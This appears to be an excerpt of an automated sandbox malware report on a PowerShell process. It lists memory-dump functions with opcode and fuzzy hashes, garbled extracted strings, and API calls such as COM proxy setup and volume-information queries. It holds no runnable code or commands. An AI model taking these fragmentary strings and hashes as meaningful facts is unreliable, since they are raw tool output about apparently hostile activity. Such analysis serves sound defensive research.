Instruction Fuzzy Hash: B7E01A74E04218EBCB04DFA4D4516ACFBB4AB89200F1084AADC1867341C631AA92DB41

Function 0742E3B8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2195810565.0000000007420000.00000040.00000800.00020000.00000000.sdmp, Offset: 07420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a4876c44c438462b4ae3e8c36736e78cc576bde4a2b9ebd4908fc9c0d44d154
Instruction ID: eb47477368713ccd2c0c86d0209988eb4755025a92d5d16e96e8e57b2e682331
Opcode Fuzzy Hash: 3a4876c44c438462b4ae3e8c36736e78cc576bde4a2b9ebd4908fc9c0d44d154
Instruction Fuzzy Hash: 91E08674908218EBC704DF94D4459ADFF75EB45311F1080A9DC0867341C7719E63DA81

Function 00DAB1F8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2110336615.0000000000DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae958474a92511505f55711ff9bcdaecdd630e3b5a6149a680a5c6bb0f3f2f9
Instruction ID: 97b8373609dc1e771cece658e7a3949f7ec87c1cc69d10dbd366b0e7b26793cf
Opcode Fuzzy Hash: bae958474a92511505f55711ff9bcdaecdd630e3b5a6149a680a5c6bb0f3f2f9
Instruction Fuzzy Hash: 28E08634904208EBCB04DF94E445A6CFF75EB46310F2090AADC0417342C7319E53DA95

Function 00DA7A5E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2110336615.0000000000DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce481e853de00ab31b057cbd5f037e71482b37eb3b80f1e7cb102a412f8ec407
Instruction ID: 065c68c27c1dfa5c69b7b13bea35c6778f786ec82a3a51458cbfeb7ab74f32ae
Opcode Fuzzy Hash: ce481e853de00ab31b057cbd5f037e71482b37eb3b80f1e7cb102a412f8ec407
Instruction Fuzzy Hash: 5EF0AF34A043588FCBA0DB68C99878DBBB1BF8A304F5041D99449AB341DB746D84CF46

Function 047B2789 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ee59f3257cbcd49855b633270f53cdee48502acbe6f69e3378f97960e9660d
Instruction ID: 9df61ab50e0740c26bc26ba3331426276bcb4bbcc867c705bd66318bf3177e35
Opcode Fuzzy Hash: 22ee59f3257cbcd49855b633270f53cdee48502acbe6f69e3378f97960e9660d
Instruction Fuzzy Hash: 04E0C2783012109FD345AF98E9149567F36EF4631AF128196EA5DCB372CB308C2A8F45

Function 0742DE58 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2195810565.0000000007420000.00000040.00000800.00020000.00000000.sdmp, Offset: 07420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73f25120c18ed236eb2a93fbe5120a23c36c066a118a3847cb1c05b9a40ee7e
Instruction ID: 0e77cc3cda3fd3c170bd8b12d4f10cd684aff29feab5feb50a7f2890c5a50c87
Opcode Fuzzy Hash: d73f25120c18ed236eb2a93fbe5120a23c36c066a118a3847cb1c05b9a40ee7e
Instruction Fuzzy Hash: 27E08CB4A04208EBD708DF94D4416ACBB78AB95300F2080D9CC0817341CB315E53DA81

Function 083A8B2C Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2201731106.00000000083A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_83a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add809777f04e982a073cc5c5e84d7ab4b5d9eabb29030b7922092b587a81283
Instruction ID: ad48220f8817fd2bb0b1bb90e16a05a47eaa8fa6604db1353660dd790b38d8bc
Opcode Fuzzy Hash: add809777f04e982a073cc5c5e84d7ab4b5d9eabb29030b7922092b587a81283
Instruction Fuzzy Hash: 17E08C312080E1AFC2424B199810862FFAAEECB11131CC1C3E8859B213C22AEC83DBE0

Function 0834E956 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2200545201.0000000008340000.00000040.00000800.00020000.00000000.sdmp, Offset: 08340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88487a95e041419bf0b90d9ed903fb844aedc844124adaa9f8854d56fecf8fac
Instruction ID: 9e664079728e28be10b2daf85ed03daee97a349fe6f833c4df8c2566a04e0522
Opcode Fuzzy Hash: 88487a95e041419bf0b90d9ed903fb844aedc844124adaa9f8854d56fecf8fac
Instruction Fuzzy Hash: 43E0C2B66005048BD710A7A4F8043AEBB96EFC4325F008429E21987A40DB79EC9657A5

Function 0834E002 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2200545201.0000000008340000.00000040.00000800.00020000.00000000.sdmp, Offset: 08340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9da4a3a99911531e030db220db31baf894fedc3fb15a52e79e3efed49676d1e
Instruction ID: aea7c8762a8ff69190d1b6ce3697d7eabf79fa85e80e8da75b6b534783a23b43
Opcode Fuzzy Hash: e9da4a3a99911531e030db220db31baf894fedc3fb15a52e79e3efed49676d1e
Instruction Fuzzy Hash: 07E0CD756005048BC710A794F4443AE7755FBC0355F44442DE11683640DB75EC965791

Function 0834E456 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2200545201.0000000008340000.00000040.00000800.00020000.00000000.sdmp, Offset: 08340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11011fc0e9f5346b18ca79dfd3025b47ec140bf8836d94b1fedde869835e1bb8
Instruction ID: 0b7e4509713d233f1a5d2059fb3b1ce61c0ed255459cf87e2069943ef1ef95b8
Opcode Fuzzy Hash: 11011fc0e9f5346b18ca79dfd3025b47ec140bf8836d94b1fedde869835e1bb8
Instruction Fuzzy Hash: DDE0C2B26405049BD710A7A4F4043AEB7D6EBC4326F008429E21983A40DBB9EC9A97A5

Function 0834E496 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2200545201.0000000008340000.00000040.00000800.00020000.00000000.sdmp, Offset: 08340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041a101a9ab7ea20c90a015736c46b791d7586e85daba9f812b75a062880e066
Instruction ID: 2cd67ae334e72bd81a1e0de76983636a54bdf5d82b33518fd507e600a4d2e188
Opcode Fuzzy Hash: 041a101a9ab7ea20c90a015736c46b791d7586e85daba9f812b75a062880e066
Instruction Fuzzy Hash: B2E0C2B26405049BD710AB94F4043AE77D6EBC0326F044429E21983A40DBB9ECD697A1

Function 00DA6748 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2110336615.0000000000DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9153b881bdbd5f3f86212bbd1da8afb3f60292ff2f5ef414d72d612ad90dd2df
Instruction ID: 4b353579f3b4450214f1a2be48c69515274c04fdb421b672b654eada106a5e39
Opcode Fuzzy Hash: 9153b881bdbd5f3f86212bbd1da8afb3f60292ff2f5ef414d72d612ad90dd2df
Instruction Fuzzy Hash: A2E08C34D1530CDFC744EFA8D54539CBBB4AB05300F2000A88D0893240EB308A80CA51

Function 047BFF10 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07437f8055f7d7bdbcb61ce770670f8090cfef0d9248a19ce97772b9d41c27d6
Instruction ID: f9adda7934d7652860b8576f81fee938dfd906f60b11618bcb07bf6aa8d64f57
Opcode Fuzzy Hash: 07437f8055f7d7bdbcb61ce770670f8090cfef0d9248a19ce97772b9d41c27d6
Instruction Fuzzy Hash: D7E07D2110E7905FC315B328E09028DBBC0CFC1204F988C4CC4824B712CA14AC4C8B7F

Function 047B22E8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d56f9f7082086d9f5e94cff21b9ae46346e14b8cf993b7d76da01171e96862
Instruction ID: 4b71c9fe980e65ea2af4c205f63a2b359b2ef58766e6c6c155df5257d7fc15a7
Opcode Fuzzy Hash: 57d56f9f7082086d9f5e94cff21b9ae46346e14b8cf993b7d76da01171e96862
Instruction Fuzzy Hash: B6E0EC3C2106059FDB05ABA1E41AB2E3BABFBC9321F505064B806A7361EE356C518F91

Function 0742BCB8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2195810565.0000000007420000.00000040.00000800.00020000.00000000.sdmp, Offset: 07420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd43d29db54eba24986e747b172cc6fa3f835027edef11f87b5d241bf195bd7
Instruction ID: 1a8c0453be1b15da2ce032fedab0f8f1ce9a7915ddde94de31003344e40ed1bf
Opcode Fuzzy Hash: cbd43d29db54eba24986e747b172cc6fa3f835027edef11f87b5d241bf195bd7
Instruction Fuzzy Hash: BED05EB450421CDBC704DA95D461AA9B768DB46214F10549D8C0847351EB729E53D681

Function 083A9A18 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2201731106.00000000083A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_83a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b7cd41bf4249936346fc387fac8df06880769e19ac52cabe91bb65cbba6f09c
Instruction ID: 63a4042cbd86244f717d85f3ebb0cd9b038eab05edb205ec2d1832a967fc6962
Opcode Fuzzy Hash: 2b7cd41bf4249936346fc387fac8df06880769e19ac52cabe91bb65cbba6f09c
Instruction Fuzzy Hash: DFD02B2050C7514FC3034304D4103D23FB65F4B100F2940CAD4C8C7152C61EDC0383A0

Function 047B2798 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6031ce07455f6c299b2acb636919512d09a6331483b62c347d69fb38a95cbdc9
Instruction ID: a3c5e4b4593876336fd53ceeaebd8b0d681a1e6098e85455707fbb9f4bffa971
Opcode Fuzzy Hash: 6031ce07455f6c299b2acb636919512d09a6331483b62c347d69fb38a95cbdc9
Instruction Fuzzy Hash: D2D05E392005149FC344ABA8E809E957BA9EF4D325F0140A5FD0D87331DB35AC008FD1

Function 08432848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4e9e3d1ae636a9c7c79249d5db5b847159a6808426a1be321b030888fd3dd7
Instruction ID: b6cdcb56d1137273dfdc3f2c0cedfe72f7044a2eca328f9017f4020d3fef4f05
Opcode Fuzzy Hash: fd4e9e3d1ae636a9c7c79249d5db5b847159a6808426a1be321b030888fd3dd7
Instruction Fuzzy Hash: 18D0C904A1E3C04FC787477A8812640BFB0AE8311031E91FB9DC9CFA67E6184C5AD762

Function 08431040 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3940c095cad6e6172d791931c65b00d05f388ccd2b6c36eda070906597a588
Instruction ID: 0bbfb53f00e8ce95fcd2a0c7f20bfe0d2599693782349d970c13ca39e7987be0
Opcode Fuzzy Hash: 6a3940c095cad6e6172d791931c65b00d05f388ccd2b6c36eda070906597a588
Instruction Fuzzy Hash: 37D0A739704058CF87209EB4E9440EDB3B4FB4821771000BBF115C2901FB35D9128A52

Function 08431047 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ee81cf069317e890df5d3672ad3681fe7f826dde365fcd353ae603a9faa722
Instruction ID: 0bbfb53f00e8ce95fcd2a0c7f20bfe0d2599693782349d970c13ca39e7987be0
Opcode Fuzzy Hash: 30ee81cf069317e890df5d3672ad3681fe7f826dde365fcd353ae603a9faa722
Instruction Fuzzy Hash: 37D0A739704058CF87209EB4E9440EDB3B4FB4821771000BBF115C2901FB35D9128A52

Function 0843102B Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc10f35d3a06456803c43d1dfc3a288d4ed3042d87e8c47d0583968a9714fce2
Instruction ID: 0bbfb53f00e8ce95fcd2a0c7f20bfe0d2599693782349d970c13ca39e7987be0
Opcode Fuzzy Hash: dc10f35d3a06456803c43d1dfc3a288d4ed3042d87e8c47d0583968a9714fce2
Instruction Fuzzy Hash: 37D0A739704058CF87209EB4E9440EDB3B4FB4821771000BBF115C2901FB35D9128A52

Function 08431032 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e4f6c67edd171ab18ae0d0328b5acc91598c1ec8b615a17a16e1af36fe57549
Instruction ID: 0bbfb53f00e8ce95fcd2a0c7f20bfe0d2599693782349d970c13ca39e7987be0
Opcode Fuzzy Hash: 5e4f6c67edd171ab18ae0d0328b5acc91598c1ec8b615a17a16e1af36fe57549
Instruction Fuzzy Hash: 37D0A739704058CF87209EB4E9440EDB3B4FB4821771000BBF115C2901FB35D9128A52

Function 08431039 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c0fbe0588b7e3ee03717ea39e39e447e9e77652ebbc5d988a514a34127a5cbe
Instruction ID: 0bbfb53f00e8ce95fcd2a0c7f20bfe0d2599693782349d970c13ca39e7987be0
Opcode Fuzzy Hash: 7c0fbe0588b7e3ee03717ea39e39e447e9e77652ebbc5d988a514a34127a5cbe
Instruction Fuzzy Hash: 37D0A739704058CF87209EB4E9440EDB3B4FB4821771000BBF115C2901FB35D9128A52

Function 083A9A40 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2201731106.00000000083A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_83a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7ac24ca111c91b46a1e427dc9394142c271c0ea22553ee771b48b7f3047c9f
Instruction ID: ffa1ef3a5212728862a49b025fb6f1d39cc3b11a2edb73dfe2dd951c738aa18b
Opcode Fuzzy Hash: dc7ac24ca111c91b46a1e427dc9394142c271c0ea22553ee771b48b7f3047c9f
Instruction Fuzzy Hash: A2D05E329091908BC7059710E0012D23B629B46524F2980CAD8889B652D63AED43C791

Function 0843F788 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab8d1fe5fd7e6d0249f391b05adad2de73a3dfe278cfa9f7112511b25d985107
Instruction ID: 2e60f368dcb5d81350db8dd11c3b2a5046907c1eff4e2e5ccaec2d9381b66fe5
Opcode Fuzzy Hash: ab8d1fe5fd7e6d0249f391b05adad2de73a3dfe278cfa9f7112511b25d985107
Instruction Fuzzy Hash: AFD09E70900714DBC754DF6AD845812B7E9AF8962A328C4ADD40D86321DB37D457CA50

Function 047BD3B0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6338b53315d5a608c6c0e7ed9fef4d69b96d4a2118085a0a75015c1913157447
Instruction ID: e954720a1980d7f918e4c9df750c4d9ccb4cb8c228306b1428e92bdbdec5f4c4
Opcode Fuzzy Hash: 6338b53315d5a608c6c0e7ed9fef4d69b96d4a2118085a0a75015c1913157447
Instruction Fuzzy Hash: 79C0803D600314C38734D97674441AA770FE7C2121314C425E419C2101DE38AC0147D1

Function 047B2660 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8174916f1463b148c8530282ce902daf7215b318a3c64d2298c9d6f655a56a
Instruction ID: d6d0c96bf2ccd4fd81975efb122370f69dd310c82f9741ea1f3bb6688ba6e56a
Opcode Fuzzy Hash: ac8174916f1463b148c8530282ce902daf7215b318a3c64d2298c9d6f655a56a
Instruction Fuzzy Hash: 15D012385447049FD71527B0B41D36A3B98EF41312F4141BAA50EC5362DE2DAC948F11

Function 00DA3FDE Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2110336615.0000000000DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_da0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cd160863acf6bdfb446101c6f45adcb7ac7a71708e826de05991b582fac904
Instruction ID: 12f9dc4c1cfed8c7acd309a4a7bcb79628f1b5cd9d26ebc91cef88ac0ab42d7a
Opcode Fuzzy Hash: f1cd160863acf6bdfb446101c6f45adcb7ac7a71708e826de05991b582fac904
Instruction Fuzzy Hash: 9DD05E71814618CFCB21CF54DC8439DBBB9BF06300F1081D1D04A97361C77059858F50

Function 047B5D20 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce80117f02a3ebdcb3601675b85de09b9b8d978f5e6261ec00d7c6959fdd717
Instruction ID: 31a91c4d741ca2f5dd6702b644e39b031ed4cbcf0ede2f677a9e5c326cf956f9
Opcode Fuzzy Hash: 3ce80117f02a3ebdcb3601675b85de09b9b8d978f5e6261ec00d7c6959fdd717
Instruction Fuzzy Hash: E8C08CE04052083F9B1213459C184A33E1CAB432457800081F0808A132CB4250008AA2

Function 047B3940 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2111816242.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_47b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8117303c615b702b7ec3fd766499cf359a3a39de3cd136693146ece9602145f1
Instruction ID: 57a9c939095a78b77bcf1051ef2949a263ffeddd54900df5cdb221a107d2104b
Opcode Fuzzy Hash: 8117303c615b702b7ec3fd766499cf359a3a39de3cd136693146ece9602145f1
Instruction Fuzzy Hash: 60C08CFA6187C36FF3034620081A682BF20EB21306F824491E2938A1AAC3506A22C2A1

Function 083A9388 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2201731106.00000000083A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_83a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f65211ae09fb2760de3a95c75b87864ad6e3374f2ec22878e79f5e2cc5fec9ac
Instruction ID: 403f14c653d77f9ca65f8b62ceefb665ae26f745e8e46e52a2de05a0c03f33d6
Opcode Fuzzy Hash: f65211ae09fb2760de3a95c75b87864ad6e3374f2ec22878e79f5e2cc5fec9ac
Instruction Fuzzy Hash: F8C08C3BB001088FCB00DB94F8848DCF371FFC8225B00C023E10183111C7309825DB10

Function 0843AE23 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2202568915.0000000008430000.00000040.00000800.00020000.00000000.sdmp, Offset: 08430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3543594cefebbad7f357d94d4ca891486bb79a0d67da2a61fdfd292c73342e8f
Instruction ID: b2c1ecf218aabf8b7acc2998f16af7aff931134028d6bc742535a1d4082c5933
Opcode Fuzzy Hash: 3543594cefebbad7f357d94d4ca891486bb79a0d67da2a61fdfd292c73342e8f
Instruction Fuzzy Hash: 41C0023A680414CF8704DA99E5458DCBBB5EF98762B5100A6E60197621C731AD65CA61

Non-executed Functions

Function 07D22260 Relevance: 5.5, Strings: 4, Instructions: 478COMMON

Download Yara Rule

Strings

3%B! , xrefs: 07D2269D
6%K!#, xrefs: 07D22351
L, xrefs: 07D22422
5%H ", xrefs: 07D22374

Memory Dump Source

Source File: 00000014.00000002.2198817022.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID: 3%B! $5%H "$6%K!#$L
API String ID: 0-4007359456
Opcode ID: d7e39844fa350317e84975202b295fde001e3a676de1648ccb2af31a24239b57
Instruction ID: 7ec4e4db25142120cb5a0c78752733d21239dc9b96f2b6078e83ea68b6a9a15a
Opcode Fuzzy Hash: d7e39844fa350317e84975202b295fde001e3a676de1648ccb2af31a24239b57
Instruction Fuzzy Hash: 26E17CF17042219FDB2497689810A6AFBE2FFE5318F15806AE445CB391DA31EC83D7A1

Function 00DAC4E7 Relevance: 5.1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

Strings

/, xrefs: 00DAC5D9
9, xrefs: 00DAC6AC
4, xrefs: 00DAC4BE
#, xrefs: 00DAC49D

Memory Dump Source

Source File: 00000014.00000002.2110336615.0000000000DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_da0000_powershell.jbxd

Similarity

API ID:
String ID: #$/$4$9
API String ID: 0-508174081
Opcode ID: ba373c567a12261e3289f8f5c07075da2c863e6dcfe3918c1b1db331db5652c8
Instruction ID: f428ddad36e4812074c0339b34e5abb4cbae54b5674c65331dd007ffdb1219d8
Opcode Fuzzy Hash: ba373c567a12261e3289f8f5c07075da2c863e6dcfe3918c1b1db331db5652c8
Instruction Fuzzy Hash: BA31167491020DCFEB10CF98C494BEDBBF1BB4A324F64A055E044AB381C7B8A985CF68

Analysis Process: powershell.exePID: 5932, Parent PID: 4552COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.5%
Total number of Nodes:	329
Total number of Limit Nodes:	32

Executed Functions

Function 0043B010 Relevance: 37.5, APIs: 12, Strings: 9, Instructions: 705
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(EFEEEDF4,00000000,00000001,2C2F2E04,00000000), ref: 0043B378
SysAllocString.OLEAUT32(0A473AD8), ref: 0043B3D7
CoSetProxyBlanket.COMBASE(B642A31A,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043B415
SysAllocString.OLEAUT32(0A473AD8), ref: 0043B475
SysAllocString.OLEAUT32(0A473AD8), ref: 0043B533
VariantInit.OLEAUT32(?), ref: 0043B59E
VariantClear.OLEAUT32(?), ref: 0043B735
SysFreeString.OLEAUT32(?), ref: 0043B753
SysFreeString.OLEAUT32(?), ref: 0043B760
SysFreeString.OLEAUT32(?), ref: 0043B766
SysFreeString.OLEAUT32(00000000), ref: 0043B777
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,0A473AD8,00000000,00000000,00000000,00000000), ref: 0043B7A8

Strings

b!k#, xrefs: 0043B4CF
:, xrefs: 0043B1E3
C5_7, xrefs: 0043B4B7
k%U', xrefs: 0043B4D7
V9i;, xrefs: 0043B4BF
yv, xrefs: 0043B5DC
n=A?, xrefs: 0043B4C7
(), xrefs: 0043B4DF
+(, xrefs: 0043B3AE

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: ()$+($:$C5_7$V9i;$b!k#$k%U'$n=A?$yv
API String ID: 1341229144-3627107796
Opcode ID: 2f155dc810ccd9f36e93577397dc7d232da0a97a90d30e466fef74b131b3eaa3
Instruction ID: d2151340edaabe71841d996a497174767ced81dfbd864de0e06e33139d8ec3b9
Opcode Fuzzy Hash: 2f155dc810ccd9f36e93577397dc7d232da0a97a90d30e466fef74b131b3eaa3
Instruction Fuzzy Hash: 1932EC756083408BE714CF29C881B6FBBE6EFC9324F14892DE5958B391D778D806CB96

Function 00412650 Relevance: 30.0, APIs: 3, Strings: 13, Instructions: 2049COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00412D93
RtlExpandEnvironmentStrings.NTDLL ref: 0041309F
RtlExpandEnvironmentStrings.NTDLL ref: 004132B0

Strings

q, xrefs: 004128B4
c53, xrefs: 0041370C
~, xrefs: 004127C8
2, xrefs: 00412836
6, xrefs: 00412C7E
k, xrefs: 00412B8D
V, xrefs: 0041283E
D, xrefs: 0041412F
`, xrefs: 00413549
g, xrefs: 00412941
_, xrefs: 00412A76
n, xrefs: 004129EB
g@AF, xrefs: 00413132

Memory Dump Source

Source File: 0000001E.00000002.2594204654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin
